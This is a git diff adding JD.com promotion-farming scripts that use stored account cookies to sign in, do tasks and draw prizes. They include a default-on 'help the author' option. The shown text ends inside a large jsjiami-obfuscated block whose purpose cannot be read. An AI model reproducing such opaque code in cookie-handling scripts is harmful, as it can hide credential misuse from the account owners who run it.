+async function takePostRequest(type) {
+ let body = ``;
+ let myRequest = ``;
+ switch (type) {
+ case 'activityStarBackGetProgressBarInfo':
+ body = `functionId=activityStarBackGetProgressBarInfo&body={"starId":"${$.uniqueId}","linkId":"Y2aqxng42hZ0eGxGtbCMiQ"}&_t=${Date.now()}&appid=activities_platform`;
+ myRequest = getPostRequest(body);
+ break;
+ case 'apTaskList':
+ body = `functionId=apTaskList&body={"uniqueId":"${$.uniqueId}","linkId":"Y2aqxng42hZ0eGxGtbCMiQ"}&_t=${Date.now()}&appid=activities_platform`;
+ myRequest = getPostRequest(body);
+ break;
+ case 'SIGN':
+ body = `functionId=apDoTask&body={"taskType":"${$.oneTask.taskType}","taskId":${$.oneTask.id},"uniqueId":"${$.uniqueId}","linkId":"Y2aqxng42hZ0eGxGtbCMiQ"}&_t=${Date.now()}&appid=activities_platform`;
+ myRequest = getPostRequest(body);
+ break;
+ case 'apTaskDetail':
+ body = `functionId=apTaskDetail&body={"taskType":"${$.oneTask.taskType}","taskId":${$.oneTask.id},"uniqueId":"${$.uniqueId}","channel":4,"linkId":"Y2aqxng42hZ0eGxGtbCMiQ"}&_t=${Date.now()}&appid=activities_platform`;
+ myRequest = getPostRequest(body);
+ break;
+ case 'apDoTask':
+ body = `functionId=apDoTask&body={"taskType":"${$.oneTask.taskType}","taskId":${$.oneTask.id},"uniqueId":"${$.uniqueId}","channel":4,"linkId":"Y2aqxng42hZ0eGxGtbCMiQ","itemId":"${encodeURIComponent($.oneItemInfo.itemId)}"}&_t=${Date.now()}&appid=activities_platform`;
+ myRequest = getPostRequest(body);
+ break;
+ case 'help':
+ body = `functionId=activityStarBackGetProgressBarInfo&body={"starId":"${$.uniqueId}","sharePin":"${$.oneCode}","taskId":"129","linkId":"Y2aqxng42hZ0eGxGtbCMiQ"}&_t=${Date.now()}&appid=activities_platform`;
+ myRequest = getPostRequest(body);
+ break;
+ case 'activityStarBackDrawPrize':
+ body = `functionId=activityStarBackDrawPrize&body={"starId":"${$.uniqueId}","poolId":${$.onePrize.id},"pos":${$.onePrize.pos},"linkId":"Y2aqxng42hZ0eGxGtbCMiQ"}&_t=${Date.now()}&appid=activities_platform`;
+ myRequest = getPostRequest(body);
+ break;
+ default:
+ console.log(`错误${type}`);
+ }
+ return new Promise(async resolve => {
+ $.post(myRequest, (err, resp, data) => {
+ try {
+ dealReturn(type, data);
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function dealReturn(type, data) {
+ try {
+ data = JSON.parse(data);
+ } catch (e) {
+ console.log(`返回异常:${data}`);
+ return;
+ }
+ switch (type) {
+ case 'activityStarBackGetProgressBarInfo':
+ if (data.code === 0) {
+ console.log(`${data.data.shareText}`);
+ $.helpCode = data.data.encryptPin;
+ $.info = data.data;
+ }
+ break;
+ case 'apTaskList':
+ if (data.code === 0) {
+ $.taskList = data.data;
+ }
+ break;
+ case 'SIGN':
+ if (data.code === 0) {
+ console.log('签到成功');
+ }
+ break;
+ case 'apTaskDetail':
+ if (data.code === 0) {
+ $.taskDetail = data.data;
+ }
+ break;
+ case 'apDoTask':
+ if (data.code === 0) {
+ console.log('成功');
+ }
+ break;
+ case 'help':
+ console.log('助力结果:' + JSON.stringify(data));
+ break;
+ case 'activityStarBackDrawPrize':
+ if (data.code === 0) {
+ if(data.data.prizeType === 0){
+ console.log(`未抽中`);
+ }else{
+ console.log(`恭喜你、抽中了`);
+ }
+ }
+ console.log(JSON.stringify(data));
+ break;
+ default:
+ console.log('异常');
+ console.log(JSON.stringify(data));
+ }
+}
+
+function getPostRequest(body) {
+ const url = `https://api.m.jd.com/`;
+ const method = `POST`;
+ const headers = {
+ 'Accept': `application/json, text/plain, */*`,
+ 'Origin': `https://prodev.m.jd.com`,
+ 'Accept-Encoding': `gzip, deflate, br`,
+ 'Cookie': $.cookie,
+ 'Content-Type': `application/x-www-form-urlencoded`,
+ 'Host': `api.m.jd.com`,
+ 'Connection': `keep-alive`,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Referer': `https://prodev.m.jd.com/mall/active/b68M1tZSjGrMYa64hMKsX5jRdWL/index.html`,
+ 'Accept-Language': `zh-cn`
+ };
+
+ return {url: url, method: method, headers: headers, body: body};
+}
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": $.cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+/**
+ * 随机从一数组里面取
+ * @param arr
+ * @param count
+ * @returns {Buffer}
+ */
+function getRandomArrayElements(arr, count) {
+ var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index;
+ while (i-- > min) {
+ index = Math.floor((i + 1) * Math.random());
+ temp = shuffled[index];
+ shuffled[index] = shuffled[i];
+ shuffled[i] = temp;
+ }
+ return shuffled.slice(min);
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
+
diff --git a/Task/jd_superMarket.js b/Task/jd_superMarket.js
new file mode 100644
index 0000000..e9f51b1
--- /dev/null
+++ b/Task/jd_superMarket.js
@@ -0,0 +1,1583 @@
+/*
+东东超市
+Last Modified time: 2021-3-4 21:22:37
+活动入口:京东APP首页-京东超市-底部东东超市
+Some Functions Modified From https://github.com/Zero-S1/JD_tools/blob/master/JD_superMarket.py
+东东超市兑换奖品请使用此脚本 jd_blueCoin.js
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+=================QuantumultX==============
+[task_local]
+#东东超市
+11 * * * * jd_superMarket.js, tag=东东超市, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true
+===========Loon===============
+[Script]
+cron "11 * * * *" script-path=jd_superMarket.js,tag=东东超市
+=======Surge===========
+东东超市 = type=cron,cronexp="11 * * * *",wake-system=1,timeout=3600,script-path=jd_superMarket.js
+==============小火箭=============
+东东超市 = type=cron,script-path=jd_superMarket.js, cronexpr="11 * * * *", timeout=3600, enable=true
+ */
+const $ = new Env('东东超市');
+//Node.js用户请在jdCookie.js处填写京东ck;
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '', jdSuperMarketShareArr = [], notify, newShareCodes;
+let helpAu = true;//给作者助力 免费拿,极速版拆红包,省钱大赢家等活动.默认true是,false不助力.
+helpAu = $.isNode() ? (process.env.HELP_AUTHOR ? process.env.HELP_AUTHOR === 'true' : helpAu) : helpAu;
+let jdNotify = true;//用来是否关闭弹窗通知,true表示关闭,false表示开启。
+let superMarketUpgrade = true;//自动升级,顺序:解锁升级商品、升级货架,true表示自动升级,false表示关闭自动升级
+let businessCircleJump = true;//小于对方300热力值自动更换商圈队伍,true表示运行,false表示禁止
+let drawLotteryFlag = false;//是否用500蓝币去抽奖,true表示开启,false表示关闭。默认关闭
+let joinPkTeam = true;//是否自动加入PK队伍
+let message = '', subTitle;
+const JD_API_HOST = 'https://api.m.jd.com/api';
+
+//助力好友分享码
+//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。
+//下面给出两个账号的填写示例(iOS只支持2个京东账号)
+let shareCodes = []
+
+!(async () => {
+ await requireConfig();
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.coincount = 0;//收取了多少个蓝币
+ $.coinerr = "";
+ $.blueCionTimes = 0;
+ $.isLogin = true;
+ $.nickName = '';
+ await TotalBean();
+ console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ message = '';
+ subTitle = '';
+ //await shareCodesFormat();//格式化助力码
+ await jdSuperMarket();
+ await showMsg();
+ // await businessCircleActivity();
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+async function jdSuperMarket() {
+ try {
+ await receiveGoldCoin();//收金币
+ await businessCircleActivity();//商圈活动
+ await receiveBlueCoin();//收蓝币(小费)
+ // await receiveLimitProductBlueCoin();//收限时商品的蓝币
+ await daySign();//每日签到
+ await BeanSign()//
+ await doDailyTask();//做日常任务,分享,关注店铺,
+ // await help();//商圈助力
+ //await smtgQueryPkTask();//做商品PK任务
+ await drawLottery();//抽奖功能(招财进宝)
+ // await myProductList();//货架
+ // await upgrade();//升级货架和商品
+ // await manageProduct();
+ // await limitTimeProduct();
+ await smtg_shopIndex();
+ await smtgHome();
+ await receiveUserUpgradeBlue();
+ await Home();
+ if (helpAu === true) {
+ await helpAuthor();
+ }
+ } catch (e) {
+ $.logErr(e)
+ }
+}
+function showMsg() {
+ $.log(`【京东账号${$.index}】${$.nickName}\n${message}`);
+ jdNotify = $.getdata('jdSuperMarketNotify') ? $.getdata('jdSuperMarketNotify') : jdNotify;
+ if (!jdNotify || jdNotify === 'false') {
+ $.msg($.name, subTitle ,`【京东账号${$.index}】${$.nickName}\n${message}`);
+ }
+}
+//抽奖功能(招财进宝)
+async function drawLottery() {
+ console.log(`\n注意⚠:东东超市抽奖已改版,花费500蓝币抽奖一次,现在脚本默认已关闭抽奖功能\n`);
+ drawLotteryFlag = $.getdata('jdSuperMarketLottery') ? $.getdata('jdSuperMarketLottery') : drawLotteryFlag;
+ if ($.isNode() && process.env.SUPERMARKET_LOTTERY) {
+ drawLotteryFlag = process.env.SUPERMARKET_LOTTERY;
+ }
+ if (`${drawLotteryFlag}` === 'true') {
+ const smtg_lotteryIndexRes = await smtg_lotteryIndex();
+ if (smtg_lotteryIndexRes && smtg_lotteryIndexRes.data.bizCode === 0) {
+ const { result } = smtg_lotteryIndexRes.data
+ if (result.blueCoins > result.costCoins && result.remainedDrawTimes > 0) {
+ const drawLotteryRes = await smtg_drawLottery();
+ console.log(`\n花费${result.costCoins}蓝币抽奖结果${JSON.stringify(drawLotteryRes)}`);
+ await drawLottery();
+ } else {
+ console.log(`\n抽奖失败:已抽奖或者蓝币不足`);
+ console.log(`失败详情:\n现有蓝币:${result.blueCoins},抽奖次数:${result.remainedDrawTimes}`)
+ }
+ }
+ } else {
+ console.log(`设置的为不抽奖\n`)
+ }
+}
+async function help() {
+ return
+ console.log(`\n开始助力好友`);
+ for (let code of newShareCodes) {
+ if (!code) continue;
+ const res = await smtgDoAssistPkTask(code);
+ console.log(`助力好友${JSON.stringify(res)}`);
+ }
+}
+async function doDailyTask() {
+ const smtgQueryShopTaskRes = await smtgQueryShopTask();
+ if (smtgQueryShopTaskRes.code === 0 && smtgQueryShopTaskRes.data.success) {
+ const taskList = smtgQueryShopTaskRes.data.result.taskList;
+ console.log(`\n日常赚钱任务 完成状态`)
+ for (let item of taskList) {
+ console.log(` ${item['title'].length < 4 ? item['title']+`\xa0` : item['title'].slice(-4)} ${item['finishNum'] === item['targetNum'] ? '已完成':'未完成'} ${item['finishNum']}/${item['targetNum']}`)
+ }
+ for (let item of taskList) {
+ //领奖
+ if (item.taskStatus === 1 && item.prizeStatus === 1) {
+ const res = await smtgObtainShopTaskPrize(item.taskId);
+ console.log(`\n领取做完任务的奖励${JSON.stringify(res)}\n`)
+ }
+ //做任务
+ if ((item.type === 1 || item.type === 11) && item.taskStatus === 0) {
+ // 分享任务
+ const res = await smtgDoShopTask(item.taskId);
+ console.log(`${item.subTitle}结果${JSON.stringify(res)}`)
+ }
+ if (item.type === 2) {
+ //逛会场
+ if (item.taskStatus === 0) {
+ console.log('开始逛会场')
+ const itemId = item.content[item.type].itemId;
+ const res = await smtgDoShopTask(item.taskId, itemId);
+ console.log(`${item.subTitle}结果${JSON.stringify(res)}`);
+ }
+ }
+ if (item.type === 8) {
+ //关注店铺
+ if (item.taskStatus === 0) {
+ console.log('开始关注店铺')
+ const itemId = item.content[item.type].itemId;
+ const res = await smtgDoShopTask(item.taskId, itemId);
+ console.log(`${item.subTitle}结果${JSON.stringify(res)}`);
+ }
+ }
+ if (item.type === 9) {
+ //开卡领蓝币任务
+ if (item.taskStatus === 0) {
+ console.log('开始开卡领蓝币任务')
+ const itemId = item.content[item.type].itemId;
+ const res = await smtgDoShopTask(item.taskId, itemId);
+ console.log(`${item.subTitle}结果${JSON.stringify(res)}`);
+ }
+ }
+ if (item.type === 10) {
+ //关注商品领蓝币
+ if (item.taskStatus === 0) {
+ console.log('关注商品')
+ const itemId = item.content[item.type].itemId;
+ const res = await smtgDoShopTask(item.taskId, itemId);
+ console.log(`${item.subTitle}结果${JSON.stringify(res)}`);
+ }
+ }
+ if ((item.type === 8 || item.type === 2 || item.type === 10) && item.taskStatus === 0) {
+ // await doDailyTask();
+ }
+ }
+ }
+}
+var _0xod8='jsjiami.com.v6',_0x435a=[_0xod8,'C8OsSsKcRA==','AsOISg==','wq7Dkjx7','w4DCiBDCmA==','McOhw5Y6w7rCqw==','FyxD','KCtAGFA=','aF9zwoVnw5LDtl3Chw==','woPkuK3kuZfot4zlu6fDiAtgYk/mn4Tor4zorojms6flpJzotLDDt+KCuu+7suKCm++5jg==','UjXDnzbDkg==','fcOdasKVWg==','EMKbwovCpcOrwolHLA/ChsKPWQ==','LMK5wrfCqVXDusKyBcOOF8KcM8KBPBLDk8OhdsKkwpvCi8KbSMOcw7ZLw6jDoCrDnMOOY8OUGRvCr8KQw7PCo8ODKVbClyN9woFKJ8KCw78yWmjCisKYwpvCsnXCocKcTMKjw4w4w5TDhlrCicK6KcKxIMOTw7NXPGI5w7bDmsOOw53DjsOoNcKZw5poJAnDlsOhGSACwpJlw5JwVGtVw7vCnC3DuhDDnMOcdSzCq3Y0w7HDpsOKwrRBHw7CmMO7acK7wrvDgcKLw5LCj8KPw40gw7LDrXkHUU9Fw5HDjsKfwpEAEmIQwrJTw6vCrcKNw65lw5c7ZBUQOMKrw7YPSmnCgHEiwo/Csg==','w6ArD2nCv8ObR8OhTsOxIgFuwqohWGbCgwtqHyRYw6nDtcKtGGfDvWTDqsOSIsKHCMOAwofDv3hHw5jCrDjCpsKPwp02VF8pdnMBDit/wobDicOJG8OAwp/DrcOkwoIawoQ6RRXCkMOJwqbCn8K8w5c0FcKGAcKAMDbCmhbCocKFw6nCisKHAzAnwpdfwqJrw53CnsO+UngVw4tRFCDCvsK3KBTDlXTCmxw4WWnDrWgoQAY5IMKCw5JMTcKoAgLDusOzUcKWwpsywoExworCmMOVwovCssOFwrhuw5rCl2Vjw5o4wqnDlsKtQzzCn20UE8O5KMOdSSjDhcK7DQ==','aznCo2rCgsKCM8KJbQFRXsO+w59qw4tPwrhPw4jCl8OhXMODw7vDonvCnsO9LMKwwop0DBzCtws2wp/CksKvKXzDuwxnw6jDtsO/SMKtw4pNwrPCp8Ohw5TCj8OFPV/ChMKww71hwrfDuB7Dn1t5e8OLw47Dl8KNNlfDtMOpOz/CqcOaeMOvw7fCslIifTFawqTClE8xc8K3GcKcw44yGj4/w5fCo8K9eVvCmcKzw6pDwphvRX/ChAIFH8KpwrxAwpDCrUp2wqrDnik4w751w7vDh2Edw458w5jCpmXCmil6YFBBfgXChnPDtUZ5w4/DsgtYOsK2bcOdw58lNAXDtQ==','woE1wp8wwrg=','BTgqw4gG','BsOEw48xw6o=','PTjCgUgN','w6dGwoHDpGk=','w6I3eFZ+','G8OKTsKOfg==','F8K8wqLCiH0=','wrJGw5wfVw==','w43CscKqwqV6','w6LCscORw63Cgg==','IcOMw6Y9w7w=','w4rCpwY0Bg==','wpzCsivCucOT','wqLChMKxIsKU','W8OTd8KqZw==','CSJKE1DCgg==','STLDgg==','w58rAQ==','HMOzVcK6bA==','w6RQwpAVXA==','acOxw7o=','w4LCjwDCqx0=','w6VeLA==','wpnCjlMxBcOnw7hewqA=','FUDCocKLUg==','w6crecK1UQ==','ZsOxw7nClg==','EcKkwqLCiVLDpsKk','EHxBCw==','w5VgwrYyYzbDqBnCtyIfwohdFMK+wrUQw58=','w51qwrXDu8K1aWILwp8hEDJ5M8KGVw==','wo5/Mwg1Bw==','UVUmKsKc','w7fCgDfCiC0=','wr/CqhjDhV0=','TQrDjQ/DoA==','CU7CtA==','w45wwqvDscKZcG4XwosyCzQ=','f0p1wo0=','w4HCncO+w5zCq8Oyd17CvE04w7E=','ZeS6ruS7gui0teW7osOOT0kSwrjmn6jorKXor57msa/lpYrotI3Dn+KBiO+4quKBs++6ug==','WgLDojXCjMOfPcK1diBXCw==','worCoxnCrsOldsOrwpMNwqLDs8OIw6UvIMK5w5rDoy/CsENrwr3DsMOrwqF2M1XDtx7CozPCuCrCqMKTwokZSCRww7wQKcKZw6ZFIAw1CHLCjB0FY8K1G8KOCsOoQ8Oew6dEwpgjwrR9BsKJwrgfOsKybcKjMErCuj9bw7QYbDNqXy7Cg8KYw4Z1w7zDrWIeUXfDqsKmwqLDpyDClMOdBQ/CvcKKw6HDgn15MMOAwpkJJBfDpzLDjgvDsFHDs1sfwpcnQzUtKi7CmVRvOMOOTQjCp8KGCsOBD8K0fyVRwrHDugjDgMKgwolnJ8OLwoDCuQLCgV1pfnPDpA==','w5FUMSzCp8KqUUl4QU9XGcOPWFHCr8OTwr/DnhnCjMKraDpPUjvCoEkkSsK9DcO4w5nDqMKBcsOoWsKRPMKzwrbDqsKIw73CpQUGwqpif3fCplFBw5zDn17ClcK1wopEAsO+CjbDvChEwpk5woBjwoxdCQsRNMOnw6hpPsKUw5DDlMOWw6dWwpc2TxTDr8KGw7PCscOTKMKlZsKCE8OewoNPG1NSN8KrOT/CmMKIw6lid2PDqcKEw6bCnko7LwXCvFnCk8KEWlUDK8O2wq/DoFzDizY3YHXDlXXCkmIpwqxFe2HCksKiw6R8KnrCvDYMZlgXw4ojw6U=','TcOMD8O/XnvChwZfw5gEwqTDlBrCnMOIw4XDgnXDk8OTI0LChFN/w5vDtcKBwrpJwqDDi8O7w6/CpRLCg8OmdWs+J348wop/CkQ/YcOYDMK2AcKMK8OBdMOSaQLDgsOIwqbCmW7CgBPCqGfDjcKjAMKswpEvwqZfUMOIaSZwwoTDt3NlUz1cwoNWZjXCvkjDjcKRw6PDh8K2T2Uzw6A/J8OLw4FKGzEWVRDCgcO1w7MMIF9qw4ACwofCkcO/w47CokHCmMKpPlfCoMKmwpIcfcKST0VWecKZLDhCX2LCvMKpw4TDslE4w4PCihvCu8OpXcK1w6HDgsKEwpY+DcKg','LsKXwpbCnmU=','wp0cwpkRwqo=','wofCiCTDuEA=','wqPDsht4wpM=','w70gJWrCiw==','w67CmAozNg==','wqzDnyd1woo=','Mi3DgVTCpg==','w7IveEBcOg==','NMOtw5g=','YcO1w7bCjBXCj1rCusOuw5DCoWY=','w4xQGTjCjg==','TgDDujbCkMOeMcKsei5ODw==','TQ7DojM=','wqvCgSvCt8O1','w65eJy3CpsKdQk92Z1VP','N8Opw5gW','TD7DjMOUXMOiwpU=','wqbDnC8=','6aOW5Y6i6YaY5bqP5om15Yuk','wqPCpAPCicOEdsOnwooNwq/Cs8Oi','w6QvYkU=','HMOCX